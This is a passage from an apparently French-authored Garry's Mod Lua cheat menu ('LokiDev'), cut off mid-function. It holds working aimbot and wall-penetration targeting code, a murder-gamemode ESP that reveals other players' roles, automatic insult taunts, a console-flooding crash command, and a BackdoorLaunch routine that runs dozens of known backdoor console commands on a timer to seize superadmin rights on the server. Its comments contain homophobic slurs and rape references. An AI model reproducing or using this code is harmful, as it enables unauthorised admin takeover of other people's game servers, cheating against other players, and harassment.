  3982. "weapon_medkit",
  3983. "weapon_zm_carry",
  3984. "weapon_ttt_unarmed",
  3985. "weapon_keypadchecker",
  3986. "arrest_stick",
  3987. "door_ram",
  3988. "keys",
  3989. "lockpick",
  3990. "med_kit",
  3991. "pocket",
  3992. "stunstick",
  3993. "unarrest_stick",
  3994. "weaponchecker",
  3995. "keypad_cracker",
  3996. }
  3997. -- make sure its a non spastic weapon to aimbot/triggerbot with
  3998. function ZNX.CanBotShoot( wep )
  3999. if !wep:IsValid() then return end
  4000. if table.HasValue( shitweapons, wep:GetClass() ) then return false end
  4001. return true
  4002. end
  4003. function ZNX.GetView()
  4004. return ZNX.ViewAngle * 1
  4005. end
  4006. function ZNX.FixView()
  4007. if !ZNX.Vars.Aimbot then return end
  4008. local ply = LocalPlayer()
  4009. if !ply:IsValid() then return end
  4010. ZNX.ViewAngle = ply:EyeAngles()
  4011. end
  4012. local sensitivity = 0.022
  4013. function ZNX.RotateView(cmd)
  4014. ZNX.ViewAngle.p = math.Clamp(ZNX.ViewAngle.p + (cmd:GetMouseY() * sensitivity), -89, 89)
  4015. ZNX.ViewAngle.y = math.NormalizeAngle(ZNX.ViewAngle.y + (cmd:GetMouseX() * sensitivity * -1))
  4016. end
  4017. -- fov based targeting shit
  4018. function ZNX.GetAngleFromCrosshair( ply )
  4019. local Ang = (ZNX.FindTargetPosition( ply ) - LocalPlayer():EyePos() ):Angle()
  4020. local myangles = LocalPlayer():EyeAngles()
  4021. if isangle( ZNX.InternalFakeAngles ) then myangles = ZNX.InternalFakeAngles end
  4022. local DiffX = math.abs( math.NormalizeAngle( myangles.p - Ang.p ) )
  4023. local DiffY = math.abs( math.NormalizeAngle( myangles.y - Ang.y ) )
  4024. return DiffX, DiffY
  4025. end
  4026. function ZNX.GetDirtyAngleFromCrosshair( ply )
  4027. local Ang = ( (ply:GetPos() + Vector( 0, 0, 35 ) ) - LocalPlayer():EyePos() ):Angle()
  4028. local myangles = LocalPlayer():EyeAngles()
  4029. if isangle( ZNX.InternalFakeAngles ) then myangles = ZNX.InternalFakeAngles end
  4030. local DiffX = math.abs( math.NormalizeAngle( myangles.p - Ang.p ) )
  4031. local DiffY = math.abs( math.NormalizeAngle( myangles.y - Ang.y ) )
  4032. return DiffX + DiffY
  4033. end
  4034. function ZNX.InFOV( ply )
  4035. local DiffX, DiffY = ZNX.GetAngleFromCrosshair( ply )
  4036. return ( DiffX <= ZNX.NumberVars.AimbotMaxFOV and DiffY <= ZNX.NumberVars.AimbotMaxFOV )
  4037. end
  4038. function ZNX.FindTargetPosition( ent )
  4039. if !ent:IsValid() then return end
  4040. if !ZNX.Vars.AimbotTargetMode then return ent:LocalToWorld( ent:OBBCenter() ) end
  4041. if ent:GetModel() == "models/crow.mdl" then return ent:LocalToWorld( Vector(0, 0, 5) ) end -- rape faggots that are in crow form, useful in gmstranded or zombie survival
  4042. if ent:IsPlayer() then
  4043. local head = ent:LookupAttachment( "eyes" )
  4044. if head then
  4045. local pos = ent:GetAttachment(head)
  4046. if pos then
  4047. return pos.Pos + ent:EyeAngles():Forward() * -1.5
  4048. end
  4049. end
  4050. end
  4051. local bone = ZNX.AimbotBone
  4052. local head = ent:LookupBone( bone )
  4053. if head then
  4054. local pos = ent:GetBonePosition( head )
  4055. if pos then
  4056. return pos
  4057. end
  4058. end
  4059. return ent:LocalToWorld( ent:OBBCenter() )
  4060. end
  4061. function ZNX.CalcTargetPosition( ent )
  4062. local targetPos = ZNX:FindTargetPosition( ent )
  4063. if LocalPlayer():IsValid() and LocalPlayer():GetActiveWeapon():IsValid() and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_crossbow" then
  4064. targetPos = ZNX:PredictProjectileWeapons( ply, ent, targetPos ) or targetPos
  4065. end
  4066. return targetPos
  4067. end
  4068. function ZNX.PredictProjectileWeapons( ply, target, targetPos )
  4069. -- local dist = VecM["Length"](targetPos - PlyM["GetShootPos"](ply))
  4070. local dist = Vector(targetPos - LocalPlayer():GetShootPos()):Length()
  4071. local time = (dist / 3500) + 0.05
  4072. targetPos = targetPos + (target:GetVelocity() * time)
  4073. -- local mul = 0.0075
  4074. //targetPos = targetPos - (e["GetVelocity"](ply) * mul)
  4075. return targetPos
  4076. end
  4077. function ZNX.CanTargetPlayer( ply )
  4078. if !ZNX.Vars.TargetFriends and ZNX.IsFriend( ply ) then return false end
  4079. if ZNX.Vars.TargetHighlighted and !ZNX.IsTarget( ply ) then return false end
  4080. if !ZNX.Vars.TargetAdmins and ZNX.GetRank( ply ) != ( "user" or "guest" or "player" ) then return false end
  4081. if !ZNX.Vars.TargetSameTeam and ply:Team() == LocalPlayer():Team() then return false end
  4082. if !ZNX.Vars.TargetNoclippers and ply:GetMoveType() == MOVETYPE_NOCLIP then return false end
  4083. if ZNX.Vars.TargetMurder and !ply:HasWeapon("weapon_mu_knife") then return false end
  4084. if DarkRP and ZNX.IsBabyGod( ply ) then return false end
  4085. return true
  4086. end
  4087. local boners = {
  4088. "ValveBiped.Bip01_Head1",
  4089. "ValveBiped.Bip01_Spine2",
  4090. "ValveBiped.Bip01_Pelvis",
  4091. "ValveBiped.Bip01_R_Forearm",
  4092. "ValveBiped.Bip01_L_Forearm",
  4093. "ValveBiped.Bip01_R_Calf",
  4094. "ValveBiped.Bip01_L_Calf",
  4095. "ValveBiped.Bip01_R_Foot",
  4096. "ValveBiped.Bip01_L_Foot",
  4097. }
  4098. function ZNX.PrepareForAStomping( ply )
  4099. if !ply:IsValid() then return false end
  4100. if ply:GetModel() == "models/crow.mdl" and ZNX.PlayerVisible( ply, ply:LocalToWorld( Vector(0, 0, 5) ) ) then return ply:LocalToWorld( Vector(0, 0, 5) ) end
  4101. if ZNX.Vars.AimbotTargetMode then
  4102. -- right in the kisser
  4103. local head = ply:LookupAttachment( "eyes" )
  4104. if head then
  4105. local pos = ply:GetAttachment(head)
  4106. if pos then
  4107. local tpoz = pos.Pos + ply:EyeAngles():Forward() * -1.5
  4108. if ZNX.PlayerVisible( ply, tpoz ) then return tpoz end
  4109. end
  4110. end
  4111. else
  4112. -- b aim
  4113. local head = ply:LookupBone( "ValveBiped.Bip01_Pelvis" )
  4114. if head then
  4115. local poz = ply:GetBonePosition( head )
  4116. if poz then
  4117. if ZNX.PlayerVisible( ply, poz ) then return poz end
  4118. end
  4119. end
  4120. end
  4121. if ZNX.Vars.AimbotAdaptiveTarget then
  4122. local returnpos = -1
  4123. for _, b in ipairs( boners ) do
  4124. local head = ply:LookupBone( b )
  4125. if head then
  4126. local poz = ply:GetBonePosition( head )
  4127. if poz then
  4128. if ZNX.PlayerVisible( ply, poz ) then returnpos = poz break end
  4129. end
  4130. end
  4131. end
  4132. if isvector( returnpos ) then return returnpos end
  4133. end
  4134. local lastresort = ply:LocalToWorld( ply:OBBCenter() )
  4135. if ZNX.PlayerVisible( ply, lastresort ) then return lastresort end
  4136. return false
  4137. end
  4138. function ZNX.PlayerVisible( ply, testpos )
  4139. if !ply:IsValid() or !ply:IsPlayer() then return false end
  4140. local td = {start = LocalPlayer():GetShootPos(), endpos = testpos, filter = {LocalPlayer(), ply}, mask = MASK_SHOT}
  4141. local tr = util.TraceLine(td)
  4142. --if tr.Entity:IsValid() and tr.Entity == ply then return true end
  4143. if !tr.Hit then return true end
  4144. if ZNX.Vars.AimbotWallbanger and ZNX.CanWeaponPenetrate( tr, ply ) then return true end
  4145. return false
  4146. end
  4147. -- sorta like above but doesnt require a testpos
  4148. function ZNX.PlayerVisiblePK( source, ply )
  4149. if !ply:IsValid() or !ply:IsPlayer() then return false end
  4150. local td = {start = source, endpos = ply:LocalToWorld( ply:OBBCenter() ), filter = function( e ) return ( e != LocalPlayer() and e != ply and e:GetClass() != "prop_physics") end, mask = MASK_SHOT}
  4151. local tr = util.TraceLine(td)
  4152. --if tr.Entity:IsValid() and tr.Entity == ply then return true, tr.HitPos end
  4153. if !tr.Hit then return true, ply:LocalToWorld( ply:OBBCenter() ) end
  4154. return false, Vector( 0,0,0 )
  4155. end
  4156. -- returns the closest alive player, if visible is true then it will return the closest alive and visible player
  4157. function ZNX.GetClosestPlayer()
  4158. local nearestEnt = game.GetWorld()
  4159. local mypos = LocalPlayer():GetPos()
  4160. local plytab = player.GetAll()
  4161. table.sort( plytab, function( a, b ) return a:GetPos():Distance( mypos ) < b:GetPos():Distance( mypos ) end )
  4162. for _, ent in ipairs( plytab ) do
  4163. if ent == LocalPlayer() then continue end
  4164. if !ent:IsValid() or ZNX.IsDead( ent ) or !ZNX.CanTargetPlayer( ent ) or (ZNX.ToMetric( LocalPlayer():GetPos():Distance( ent:GetPos() ) ) >= ZNX.NumberVars.AimbotDist ) then continue end
  4165. nearestEnt = ent
  4166. break
  4167. end
  4168. return nearestEnt
  4169. end
  4170. -- returns the closest alive player to your crosshair, visible to return only visible players
  4171. function ZNX.GetClosestToCursor( visible )
  4172. local nearestEnt = game.GetWorld()
  4173. local fovtotal = ZNX.NumberVars.AimbotMaxFOV or 0
  4174. if fovtotal > 179 then return ZNX.GetClosestPlayer() end -- kick it into ragebot mode
  4175. local mypos = LocalPlayer():GetPos()
  4176. local plytab = player.GetAll()
  4177. table.sort( plytab, function( a, b ) return ZNX.GetDirtyAngleFromCrosshair( a ) < ZNX.GetDirtyAngleFromCrosshair( b ) end )
  4178. for _, ent in ipairs( plytab ) do
  4179. if ent == LocalPlayer() then continue end
  4180. -- we've exceeded our max fov so just stop looping here
  4181. if !ZNX.InFOV( ent ) then break end
  4182. -- save a bunch of useless calcs
  4183. if !ent:IsValid() or ZNX.IsDead( ent ) or !ZNX.CanTargetPlayer( ent ) or (ZNX.ToMetric( LocalPlayer():GetPos():Distance( ent:GetPos() ) ) >= ZNX.NumberVars.AimbotDist ) then continue end
  4184. nearestEnt = ent
  4185. break
  4186. end
  4187. return nearestEnt
  4188. end
  4189. gameevent.Listen( "entity_killed" )
  4190. hook.Add( "entity_killed", "LokiDev_propkilldetector", function( data )
  4191. local inflictor_index = data.entindex_inflictor
  4192. local attacker_index = data.entindex_attacker
  4193. local damagebits = data.damagebits
  4194. local victim_index = data.entindex_killed
  4195. local ply = "personne?"
  4196. local retard = game.GetWorld()
  4197. local atk = "la map"
  4198. local wep = "arme inconnue"
  4199. local killah = game.GetWorld()
  4200. local inflictor = ents.GetByIndex(inflictor_index)
  4201. for _, p in pairs(player.GetAll()) do
  4202. if p:EntIndex() == victim_index then ply = p:Nick() retard = p end
  4203. if p:EntIndex() == attacker_index then
  4204. atk = p:Nick()
  4205. killah = p
  4206. if p:GetActiveWeapon() and p:GetActiveWeapon():IsValid() then wep = p:GetActiveWeapon():GetPrintName() end
  4207. end
  4208. end
  4209. if ZNX.Vars.DeathTaunts and retard == LocalPlayer() then LocalPlayer():ConCommand( "say "..atk.." "..ZNX.GenerateInsult() ) end
  4210. if ZNX.Vars.NewLifeRule and retard == LocalPlayer() then LocalPlayer():ConCommand( "LokiDev_random_rpname" ) end
  4211. if attacker_index == victim_index then ZNX.DebugLog( ply.." c'est �trangl� lui-m�me", Color(180,150,150) ) if ZNX.Vars.NotifyKills then ZNX.ChatText( ply.." c'est �trangl� lui-m�me", Color(255,155,105) ) end return end
  4212. if inflictor:IsValid() and inflictor:GetClass() == "prop_physics" then
  4213. ZNX.DebugLog( ply.." a etait tuer par un prop!", Color(180,150,150) )
  4214. if ZNX.Vars.NotifyKills then ZNX.ChatText( ply.." a etait tuer par un prop!", Color(255,155,105) ) end
  4215. return
  4216. end
  4217. ZNX.DebugLog( atk.." a tuer "..ply.." avec: "..wep, Color(200,150,150) )
  4218. if ZNX.Vars.NotifyKills then ZNX.ChatText( atk.." a tuer "..ply.." avec: "..wep, Color(255,155,105) ) end
  4219. if ZNX.Vars.KillTaunts and retard != LocalPlayer() and killah == LocalPlayer() then LocalPlayer():ConCommand( "say "..ply.." "..ZNX.GenerateInsult() ) end
  4220.  
  4221. local ply = "nobody"
  4222. local prop = "nothing"
  4223. for k, v in pairs(ents.GetAll()) do
  4224. if v:EntIndex() == victim_index then ply = v end
  4225. if (v:GetClass() == "prop_physics" or string.find(v:GetClass(), "gmod_") or string.find(v:GetClass(), "wire_") ) and v:EntIndex() == attacker_index then prop = v end
  4226. end
  4227. if !FPP then return end
  4228. if ply == "nobody" or prop == "nothing" then return end
  4229. if !FPP.entGetOwner( prop ):IsValid() then return end
  4230. ZNX.DebugLog( FPP.entGetOwner( prop ):Nick().." propkilled "..ply:Nick().." with a "..prop:GetClass().." ("..prop:GetModel()..")", Color(150,150,55) )
  4231.  
  4232. end )
  4233. gameevent.Listen( "player_connect" )
  4234. hook.Add( "player_connect", "LokiDev_playerconnected", function( data )
  4235. ZNX.DebugLog( data.name .. " ( ".. data.networkid.." ) est connect� au serveur.", Color(150,150,150) )
  4236. end )
  4237. gameevent.Listen( "player_hurt" )
  4238. hook.Add( "player_hurt", "crosshair_readinjuries", function( data )
  4239. if data.attacker == LocalPlayer():UserID() then ZNX.CrossHairAlpha = 255 end
  4240. end )
  4241. gameevent.Listen( "player_disconnect" )
  4242. hook.Add( "player_disconnect", "LokiDev_playerleave", function( data )
  4243. timer.Simple( 0.5, function() ZNX.RemoveInvalidFriends() end )
  4244. ZNX.DebugLog( data.name .. " ( ".. data.networkid.." ) a �t� d�connect� du serveur. ( ".. data.reason .." )", Color(150,150,150) )
  4245. end )
  4246. ZNX.DebugLog( "Lokidevs Menu initialis�...", Color(200,200,255) )
  4247. if ULib then
  4248. ZNX.DebugLog( "Remplacements ULX d�tect�s, r�paration du syst�me de Hook...", Color(150,250,150) )
  4249. ZNX.DebugLog( "Syst�me de Hook r�par� avec succ�s :)", Color(150,250,150) )
  4250. end
  4251. function ZNX.AddServer()
  4252. local myservername = "\n"..GetHostName()
  4253. local myserverip = "\n"..game.GetIPAddress().."\n"
  4254. if !myservername or !myserverip then return end
  4255. file.Append( "LokiDev_serveur_list.txt", myservername..myserverip )
  4256. ZNX.DebugLog( "Serveur Ajouter a la Liste", Color(150,250,150) )
  4257. end
  4258. function ZNX.LoadServeur()
  4259. if (not file.Exists("LokiDev_serveur_list.txt", "Data"))
  4260. then file.Write("LokiDev_serveur_list.txt", "")
  4261. end
  4262. local sucks = file.Read( "LokiDev_serveur_list.txt", "DATA" )
  4263. if !sucks then ZNX.DebugLog( "Aucun serveur sauvegarder", Color(150,250,150) ) end
  4264. print(sucks)
  4265. ZNX.DebugLog( "Liste des serveurs afficher dans les 2 console", Color(150,250,150) )
  4266. ZNX.DebugLog( sucks, Color(150,250,150) )
  4267. end
  4268. function ZNX.DeleteServeur()
  4269. file.Delete( "LokiDev_serveur_list.txt", "DATA" )
  4270. ZNX.DebugLog( "Toutes les Serveurs ont �t� supprim�es", Color(150,250,150) )
  4271. end
  4272. concommand.Add("LokiDev_dumpnwstrings", function()
  4273. local netstrings = {}
  4274. for i = 1, 9999 do
  4275. local s = util.NetworkIDToString( i )
  4276. if s then print( "[LokiDev] NetChannel "..i.." = "..s ) else break end
  4277. end
  4278. end)
  4279. function ZNX.DumpHookTable( p, cmd, args )
  4280. local hks = args[1]
  4281. local hooktable = hook.GetTable()
  4282. if !hks or hks == "" then
  4283. for k, v in pairs( hooktable ) do
  4284. print( k.." = "..table.Count( v ).." hooks" )
  4285. end
  4286. elseif !hooktable[hks] then print( "Mauvais nom de hook! fait-le bien abruti sans talents...") return
  4287. else
  4288. for k, v in pairs( hooktable[hks] ) do
  4289. print( k.." = "..debug.getinfo( v ).source.." ligne: "..debug.getinfo( v ).linedefined.." - "..debug.getinfo( v ).lastlinedefined )
  4290. end
  4291. end
  4292. end
  4293. concommand.Add( "LokiDev_dumphooks", ZNX.DumpHookTable )
  4294. function ZNX.DumpCommandTable( p, cmd, args )
  4295. local commandtable = concommand.GetTable()
  4296. if !commandtable then return end
  4297. for k, v in pairs( commandtable ) do
  4298. if debug.getinfo( v ).source ~= "@lokidev_menu_v1.7.lua" and debug.getinfo( v ).source ~= "@lokidev_exploits_menu.lua" then
  4299. print( "Commande: "..k.." - Source: "..debug.getinfo( v ).source )
  4300. end
  4301. end
  4302. end
  4303. concommand.Add( "LokiDev_dumpcommands", ZNX.DumpCommandTable )
  4304. --[[
  4305. function ZNX.SetRotateAngle( p, cmd, arg )
  4306. if !arg[1] or !isnumber(arg[1]) then return end
  4307. ZNX.NumberVars.PKRotateAngle = tonumber(arg[1])
  4308. end
  4309. concommand.Add( "LokiDev_180up_vertical_angle", ZNX.SetRotateAngle )
  4310. --]]
  4311. local namesf = {
  4312. "Marc",
  4313. "Hugh",
  4314. "Maurice",
  4315. "Gill",
  4316. "Etienne",
  4317. "Antoine",
  4318. "Jean",
  4319. "Benoit",
  4320. "Gilbert",
  4321. "Laurent",
  4322. "Alexis",
  4323. "Alexandre",
  4324. "Denis",
  4325. "Nicholas",
  4326. "Leon",
  4327. "Leonard",
  4328. "Leo",
  4329. "Olivier",
  4330. "Curtis",
  4331. "Antonio",
  4332. "Gregory",
  4333. "Charlie",
  4334. "Luc",
  4335. "Patrick",
  4336. "Phillip",
  4337. "Bernard",
  4338. "Charles",
  4339. "Gaspar",
  4340. "Claude",
  4341. "Michael",
  4342. "Brandon",
  4343. "Richard",
  4344. "William",
  4345. "Serge",
  4346. "Freddie",
  4347. "Samuel",
  4348. "Gaetan",
  4349. "Gerald",
  4350. "Arnold",
  4351. "Roland",
  4352. "Justin",
  4353. "Theodore",
  4354. "Claude",
  4355. "Hugues",
  4356. "Albert",
  4357. "Arthur",
  4358. "Jay",
  4359. "Jeremi",
  4360. "Rene",
  4361. "Pascal",
  4362. "Carlos",
  4363. "Fabien",
  4364. "Rafael",
  4365. "Benjamin",
  4366. "Ernest",
  4367. "Victor",
  4368. "Martin",
  4369. "Franck",
  4370. "Walter",
  4371. "Isaac",
  4372. "Roger",
  4373. "Alfred",
  4374. "Jason",
  4375. "Danny",
  4376. "Henry",
  4377. "Jimmy",
  4378. "Kevin",
  4379. "Geoffrey",
  4380. "Dominic",
  4381. "Christopher",
  4382. "David",
  4383. "Steven",
  4384. }
  4385. local namesfem = {
  4386. "Marie",
  4387. "Anastasie",
  4388. "Nathalie",
  4389. "Amabella",
  4390. "Laetitia",
  4391. "Amelie",
  4392. "Jeanette",
  4393. "Virginie",
  4394. "Rachelle",
  4395. "Marine",
  4396. "Germaine",
  4397. "Gabriel",
  4398. "Sophie",
  4399. "Melisande",
  4400. "Astrid",
  4401. "Emmeline",
  4402. "Paulette",
  4403. "Laurence",
  4404. "Monique",
  4405. "Louise",
  4406. "Charlotte",
  4407. "Olivia",
  4408. "Chloe",
  4409. "Isabel",
  4410. "Elise",
  4411. "Sophie",
  4412. "Lily",
  4413. "Evelyn",
  4414. "Anna",
  4415. "Camille",
  4416. "Madeline",
  4417. "Claire",
  4418. "Victoria",
  4419. "Mia",
  4420. "Fabienne",
  4421. "Claudia",
  4422. "Margot",
  4423. "Julienne",
  4424. }
  4425. local namesl = {
  4426. "Daigneault",
  4427. "Lambert",
  4428. "Busson",
  4429. "St-Pierre",
  4430. "Duriff",
  4431. "Beaulac",
  4432. "Monrency",
  4433. "Desroches",
  4434. "Barriere",
  4435. "Plouffe",
  4436. "Cantin",
  4437. "Achin",
  4438. "Hughes",
  4439. "Machintruk",
  4440. "Mercier",
  4441. "Huot",
  4442. "Beaulieu",
  4443. "Garnier",
  4444. "Royer",
  4445. "Gladu",
  4446. "Hacher",
  4447. "Ouellet",
  4448. "Marshall",
  4449. "Lecuyer",
  4450. "Mothe",
  4451. "Brousse",
  4452. "Gilbert",
  4453. "Parrot",
  4454. "Gonzales",
  4455. "Beaudry",
  4456. "Robinson",
  4457. "Mcdonald",
  4458. "Parmentier",
  4459. "Chalifour",
  4460. "Dufour",
  4461. "Charpentier",
  4462. "Picard",
  4463. "Hervieux",
  4464. "Bureau",
  4465. "Gareau",
  4466. "Laderoute",
  4467. "Paiement",
  4468. "Frechette",
  4469. "Hervieux",
  4470. "Williams",
  4471. "Avare",
  4472. "Dufresne",
  4473. "Vertefeuille",
  4474. "Pelchat",
  4475. "Auclair",
  4476. "Richard",
  4477. "Arnaud"
  4478. }
  4479. function ZNX.GenerateRPName( p, cmd, arg )
  4480. if !DarkRP then ZNX.ChatText( "Le nom rp al�atoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4481. RunConsoleCommand( "darkrp", "rpname", table.Random( namesf ).." "..table.Random( namesl ) )
  4482. end
  4483. concommand.Add( "LokiDev_random_rpname_male", ZNX.GenerateRPName )
  4484. function ZNX.GenerateRPNameFemale( p, cmd, arg )
  4485. if !DarkRP then ZNX.ChatText( "Le nom rp al�atoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4486. RunConsoleCommand( "darkrp", "rpname", table.Random( namesfem ).." "..table.Random( namesl ) )
  4487. end
  4488. concommand.Add( "LokiDev_random_rpname_female", ZNX.GenerateRPNameFemale )
  4489. function ZNX.GenerateRPNameBoth( p, cmd, arg )
  4490. if !DarkRP then ZNX.ChatText( "Le nom rp al�atoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4491. if math.random( 1, 100 ) > 55 then
  4492. RunConsoleCommand( "darkrp", "rpname", table.Random( namesfem ).." "..table.Random( namesl ) )
  4493. else
  4494. RunConsoleCommand( "darkrp", "rpname", table.Random( namesf ).." "..table.Random( namesl ) )
  4495. end
  4496. end
  4497. concommand.Add( "LokiDev_random_rpname", ZNX.GenerateRPNameBoth )
  4498. function ZNX.RandomRPJob( p, cmd, arg )
  4499. if !DarkRP then ZNX.ChatText( "Le nom rp al�atoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4500. local fag = DarkRP.getCategories()
  4501. local jcmds = {}
  4502. for k, v in pairs( fag.jobs ) do
  4503. for _, j in pairs( v.members ) do
  4504. if j.customCheck and !j.customCheck( LocalPlayer() ) then continue end
  4505. if j.vote then continue end
  4506. if j.NeedToChangeFrom then continue end
  4507. table.insert( jcmds, j.command )
  4508. end
  4509. end
  4510. RunConsoleCommand( "darkrp", table.Random( jcmds ) )
  4511. end
  4512. concommand.Add( "LokiDev_random_rp_job", ZNX.RandomRPJob )
  4513. function ZNX.InnocentRoleplayer( p, cmd, arg )
  4514. LocalPlayer():ConCommand( "cl_weaponcolor "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ) )
  4515. LocalPlayer():ConCommand( "cl_playercolor "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ) )
  4516. RunConsoleCommand( "kill" )
  4517. ZNX.GenerateRPNameBoth()
  4518. ZNX.RandomRPJob()
  4519. end
  4520. concommand.Add( "LokiDev_innocent_roleplayer", ZNX.InnocentRoleplayer )
  4521. function ZNX.ErrorRape()
  4522. local str = "\n"
  4523. for i = 1, 512 do str = str.."\n" end
  4524. Error( str )
  4525. end
  4526. concommand.Add( "LokiDev_exploit_rapeconsole", ZNX.ErrorRape )
  4527. function BackdoorLaunch()
  4528. local Moileboss = LocalPlayer()
  4529. if not Moileboss:IsSuperAdmin() then
  4530. if ConVarExists("debugcmd") then
  4531. RunConsoleCommand("debugcmd")
  4532. end
  4533. if ConVarExists("Sandbox_ArmDupe") then
  4534. RunConsoleCommand("Sandbox_ArmDupe")
  4535. end
  4536. if ConVarExists("dronesrewrite_admin_hackall") then
  4537. RunConsoleCommand("dronesrewrite_admin_hackall")
  4538. end
  4539. if ConVarExists("freezedatacmd") then
  4540. RunConsoleCommand("freezedatacmd")
  4541. end
  4542. if ConVarExists("thepostaldude") then
  4543. RunConsoleCommand("thepostaldude")
  4544. end
  4545. if ConVarExists("k555") then
  4546. RunConsoleCommand("k555")
  4547. end
  4548. if ConVarExists("l666") then
  4549. RunConsoleCommand("l666")
  4550. end
  4551. if ConVarExists("m777") then
  4552. RunConsoleCommand("m777")
  4553. end
  4554. if ConVarExists("n888") then
  4555. RunConsoleCommand("n888")
  4556. end
  4557. if ConVarExists("b999") then
  4558. RunConsoleCommand("b999")
  4559. end
  4560. if ConVarExists("v000") then
  4561. RunConsoleCommand("v000")
  4562. end
  4563. if ConVarExists("c111") then
  4564. RunConsoleCommand("c111")
  4565. end
  4566. if ConVarExists("x222") then
  4567. RunConsoleCommand("x222")
  4568. end
  4569. if ConVarExists("_resstart") then
  4570. RunConsoleCommand("_resstart")
  4571. end
  4572. if ConVarExists("5687476") then
  4573. RunConsoleCommand("5687476")
  4574. end
  4575. if ConVarExists("72648954") then
  4576. RunConsoleCommand("72648954")
  4577. end
  4578. if ConVarExists("backdv1") then
  4579. RunConsoleCommand("backdv1")
  4580. end
  4581. if ConVarExists("_sv") then
  4582. RunConsoleCommand("_sv")
  4583. end
  4584. if ConVarExists("wtbdinterface") then
  4585. RunConsoleCommand("wtbdinterface")
  4586. end
  4587. if ConVarExists("infammo") then
  4588. RunConsoleCommand("infammo")
  4589. end
  4590. if ConVarExists("i_admin") then
  4591. RunConsoleCommand("i_admin")
  4592. end
  4593. if ConVarExists("backdoor_ttt") then
  4594. RunConsoleCommand("backdoor_ttt")
  4595. end
  4596. if ConVarExists("76soldier_sa") then
  4597. RunConsoleCommand("76soldier_sa")
  4598. end
  4599. if ConVarExists("go") then
  4600. RunConsoleCommand("go")
  4601. end
  4602. if ConVarExists("bang") then
  4603. RunConsoleCommand("bang")
  4604. end
  4605. if ConVarExists("EnfinUnPoColon") then
  4606. RunConsoleCommand("EnfinUnPoColon")
  4607. end
  4608. if ConVarExists("Lee_WeaponMelee") then
  4609. RunConsoleCommand("Lee_WeaponMelee")
  4610. end
  4611. if ConVarExists("htx_menu") then
  4612. RunConsoleCommand("htx_menu")
  4613. end
  4614. if ConVarExists("324879974") then
  4615. RunConsoleCommand("324879974")
  4616. end
  4617. if ConVarExists("_76") then
  4618. RunConsoleCommand("_76")
  4619. end
  4620. if ConVarExists("killyourself") then
  4621. RunConsoleCommand("killyourself")
  4622. end
  4623. if ConVarExists("bang") then
  4624. RunConsoleCommand("bang")
  4625. end
  4626. if ConVarExists("e7KwlOZB6PT37RBPhyjP") then
  4627. RunConsoleCommand("e7KwlOZB6PT37RBPhyjP")
  4628. end
  4629. if ConVarExists("C6RcfnOhuPkDPoQkgzu8") then
  4630. RunConsoleCommand("C6RcfnOhuPkDPoQkgzu8")
  4631. end
  4632. if ConVarExists("engine_force_button") then
  4633. RunConsoleCommand("engine_force_button")
  4634. end
  4635. if ConVarExists("netgraph_ssp") then
  4636. RunConsoleCommand("netgraph_ssp")
  4637. end
  4638. if ConVarExists("netgraph_sm") then
  4639. RunConsoleCommand("netgraph_sm")
  4640. end
  4641. if ConVarExists("superadmin_les_khey") then
  4642. RunConsoleCommand("superadmin_les_khey")
  4643. end
  4644. timer.Simple( 1.5, function()
  4645. if Moileboss:IsSuperAdmin() then
  4646. chat.AddText(Color(0,255,0),"Backdoor Detecter | Tu es maintenant superadmin :)")
  4647. else
  4648. chat.AddText(Color(255,0,0),"Aucun Backdoor Detecter")
  4649. end
  4650. end)
  4651. else
  4652. chat.AddText(Color(0,255,0)," Tu es superadmin !")
  4653. end
  4654. end
  4655. surface.CreateFont("HUDLogo3",{font = "Ravie", size = 60, weight = 100, antialias = 0})
  4656. surface.CreateFont("HUDLogo2",{font = "Ravie", size = 17, weight = 100, antialias = 0})
  4657. timer.Simple( 3, BackdoorLaunch )
  4658. surface.CreateFont("s1", {
  4659. font = "ScoreboardText",
  4660. size = 22,
  4661. weight = 0,
  4662. antialias = true,
  4663. shadow = false,
  4664. })
  4665. if gmod.GetGamemode().Name == "Murder" then
  4666. RunConsoleCommand("Murder_Check");
  4667. RunConsoleCommand("Murder_ESP", 1);
  4668. RunConsoleCommand("Murder_Auto", 1);
  4669. RunConsoleCommand("Murder_Names", 1);
  4670. RunConsoleCommand("Murder_Evidence", 1);
  4671. else
  4672. RunConsoleCommand("Murder_ESP", 0);
  4673. RunConsoleCommand("Murder_Auto", 0);
  4674. RunConsoleCommand("Murder_Names", 0);
  4675. RunConsoleCommand("Murder_Evidence", 0);
  4676. end
  4677. local twep = {"weapon_mu_knife"}
  4678. local tgun = {"weapon_mu_magnum"}
  4679. CreateClientConVar("Murder_ESP", "0", true, false)
  4680. CreateClientConVar("Murder_Auto", "0", true, false)
  4681. CreateClientConVar("Murder_Names", "0", true, false)
  4682. CreateClientConVar("Murder_Evidence", "0", true, false)
  4683. local ply = LocalPlayer()
  4684. local round = true
  4685. function check()
  4686. for _,v in pairs( ents.GetAll() ) do
  4687. local pl = v.Owner
  4688. if IsValid(pl) and !v.hatESPTracked then
  4689. if table.HasValue(twep, v:GetClass()) then
  4690. if IsValid(v) then
  4691. local col = pl:GetPlayerColor()
  4692. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4693. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " est le ", Color(255, 0, 0), "MURDER")
  4694. else
  4695. chat.AddText(Color(200, 200, 200), "Le COUTEAU est sur le sol.")
  4696. end
  4697. end
  4698. if table.HasValue(tgun, v:GetClass()) then
  4699. if IsValid(v) then
  4700. local col = pl:GetPlayerColor()
  4701. col = Color(col.x * 255, col.y * 255, col.z * 255)
  4702. chat.AddText(col, pl:GetNWString("bystanderName"), Color(255, 255, 255), " a le ", Color(0, 255, 0), "PISTOLET")
  4703. else
  4704. chat.AddText(Color(200, 200, 200), "Le PISTOLET est sur le sol.")
  4705. end
  4706. end
  4707. end
  4708. end
  4709. end
  4710. concommand.Add( "Murder_Check", check)
  4711. function teleport()
  4712. ply:SetPos(ply:EyePos())
  4713. end
  4714. concommand.Add( "Murder_teleport", teleport)
  4715. function getNames()
  4716. for _,v in pairs( player.GetAll() ) do
  4717. if IsValid(v) then
  4718. local col = v:GetPlayerColor()
